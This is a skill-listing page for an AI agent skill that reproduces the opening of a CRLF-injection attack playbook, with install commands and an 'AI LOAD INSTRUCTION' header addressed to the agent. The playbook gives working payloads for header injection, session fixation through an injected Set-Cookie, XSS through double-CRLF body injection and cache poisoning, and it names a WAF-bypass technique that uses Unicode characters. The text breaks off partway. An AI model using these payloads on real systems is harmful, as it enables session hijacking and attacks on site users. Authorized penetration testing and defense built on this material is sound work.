# Crlf Injection

CRLF injection playbook.

- Repository: https://github.com/yaklang/hack-skills (2601 stars)
- Category: Engineering
- License: MIT
- Last updated: 2026-09-13
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add yaklang/hack-skills --skill crlf-injection -g -a claude-code -y`
Codex: `npx skills add yaklang/hack-skills --skill crlf-injection -g -a codex -y`
Cursor: `npx skills add yaklang/hack-skills --skill crlf-injection -g -a cursor -y`
Gemini CLI: `npx skills add yaklang/hack-skills --skill crlf-injection -g -a gemini-cli -y`

## Description

CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# SKILL: CRLF Injection, Expert Attack Playbook

> **AI LOAD INSTRUCTION**: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.

## 0. RELATED ROUTING

- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the target is a **Java service** and `%0D%0A` / `\r\n` encodings are WAF-blocked, substituting `瘍` (U+760D, low byte `\r`) and `瘊` (U+760A, low byte `\n`) injects a real CRLF through Angus Mail / Jakarta Mail SMTP, Apache HttpClient headers, JDK HttpServer responses, and ActiveJ HTTP (re-enables Jira CVE-2025-57733 and JDK CVE-2026-21933 classes)

## 1. CORE CONCEPT

CRLF = `\r\n` (Carriage Return + Line Feed, `%0D%0A`). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.

```
Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers, Location + injected Set-Cookie
```

---

## 2. DETECTION

### Basic Probe

```text
%0D%0ANew-Header:injected

# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true

# Check response headers for "X-Injected: true"
```

### Double CRLF, Body Injection

Two consecutive CRLF sequences end headers and start body:

```text
%0D%0A%0D%0A<script>alert(1)</script>

# Result:
HTTP/1.1 302 Found
Location: /page

<script>alert(1)</script>
```

---

## 3. EXPLOITATION SCENARIOS

### Session Fixation via Set-Cookie

```text
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
```

### XSS via Response Body

```text
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>
```

### Cache Poisoning

If the response is cached by a CDN or proxy, injected headers/body are served to all users:

The rest: https://github.com/yaklang/hack-skills/blob/HEAD/skills/crlf-injection/SKILL.md